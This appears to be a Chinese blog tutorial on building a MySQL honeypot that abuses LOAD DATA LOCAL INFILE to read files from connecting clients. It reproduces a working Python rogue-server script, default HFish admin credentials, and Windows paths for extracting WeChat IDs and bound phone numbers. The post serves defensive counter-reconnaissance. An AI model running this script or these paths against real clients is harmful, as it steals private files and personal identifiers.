蜜罐如何获取攻击者敏感信息

发布时间:2022-02-09 06:06:45 作者:Potato 阅读量:4306

Part1 前言

在护网中看到甲方的蜜罐感觉很好玩,就想着自己也搭建一个。然后就看到很多文章讲述用蜜罐获取手机号了什么的,感觉很神奇,就研究了研究。
蜜罐获取手机号信息其实就是一个mysql的任意文件读取漏洞,关于这个漏洞已经出现很久了,网上也有很多关于这个漏洞的文章。但是对于一些入行晚的师傅,可能还不是太了解。本篇文章就来讲述一下mysql蜜罐的原理。

Part2 原理

伪造一个mysql服务器,当攻击者尝试连接的时,可以读取攻击者主机的任意文件。
主要是由于mysql的LOAD DATA INFILE 语法
load data infile 的作用是数据库读取一个文件内容导入到数据库表中,而如果使用load data local infile 则数据库从客户机读取文件,导入到表中。

Part3 mysql数据包分析

1、登陆mysql,并进行抓包

2、通过分析数据包可以发现,在tcp握手成功之后,mysql服务器返回了一个Greeting包。

3、当客户机收到Greeting包后,客户机向mysql服务器发送了一个login request包进行登陆。

4、mysql服务器收到login包后进行验证,正确了则返回一个ok的响应包。

5、之后客户端发送一个初始化的查询语句,服务端收到后进行回应


至此,客户端登陆成功。
看到这,想一想如果我们伪造一个mysql服务端,按照mysql的处理流程进行回包,是不是就伪造了一个服务器呢。

那如何获取客户端的文件呢,我们在客户端执行load data local infile语句进行抓包查看。

 1、在客户端执行load data local infile "/etc/passwd" into table 表名 fields terminated by '\n';进行抓包查 看。

2、查看数据包,发现客户端向服务器发送了查询语法

3、服务端收到后把查询的文件名返回给客户端

4、之后客户端把这个文件的内容返回给mysql服务器

5、mysql服务端收到后返回一个ok的应答包

通过分析数据包,我们发现当客户端发送查询语法=》服务端返回文件名=》客户端返回文件内容。 此时我们就可以通过伪造mysql服务器,在被害者连接服务器时身份认证,问候包发送完成后,回一个带有load data infile 标志位的包,即可读取被害者的文件。

附上一个来自 https://xz.aliyun.com/t/3973 给出的脚本




#!/usr/bin/python
#coding: utf8
import socket

# linux :
filestring =  "/etc/hosts"
# windows:
#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"
HOST =  "0.0.0.0"  # open for eeeeveryone! ^_^
PORT =  3306
BUFFER_SIZE =  1024

#1 Greeting
greeting =  "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok =  "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"

#3 Payload
payloadlen =  "\x0b" 
padding =  "\x00\x00"
payload = payloadlen + padding +   "\x0b\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,  1)
s.bind((HOST, PORT))
s.listen( 1)

while  True:
    conn, addr = s.accept()

     print  'Connection from:', addr
    conn.send(greeting)
     while  True:
        data = conn.recv(BUFFER_SIZE)
         print  " ".join( "%02x" % ord(i)  for i  in data)
        conn.send(authok)
        data = conn.recv(BUFFER_SIZE)
        conn.send(payload)
         print  "[*] Payload send!"
        data = conn.recv(BUFFER_SIZE)
         if  not data:  break
         print  "Data received:", data
         break
     # Don't leave the connection open.
    conn.close()

Part4 蜜罐搭建

我这里用的是HFish蜜罐进行的搭建,部署流程 https://hfish.io/#/2-3-windows

登陆链接:https://[ip]:4433/web/
账号:admin
密码:HFish2021

在节点管理里可以设置蜜罐,在里面可以修改读取的文件

测试一下蜜罐:

成功读取到数据。

至于读取手机号微信id等信息,只需要修改读取的文件路径即可
1.从C:/Windows/PFRO.log中读取用户名。
2.从C:/Users/用户名/Documents/WeChat Files/All Users/config/config.data中读取微信_id。
3.从C:/Users/用户名/Documents/WeChat Files/wx_id/config/AccInfo.dat中读取微信绑定的手机号。

Part5 资料参考

https://www.freebuf.com/news/247976.html

https://xz.aliyun.com/t/3973



Potato

专注渗透测试技术

全球最新网络攻击技术

支付宝打赏 微信打赏

我要评论

Catfish(鲶鱼) Blog V 4.7.3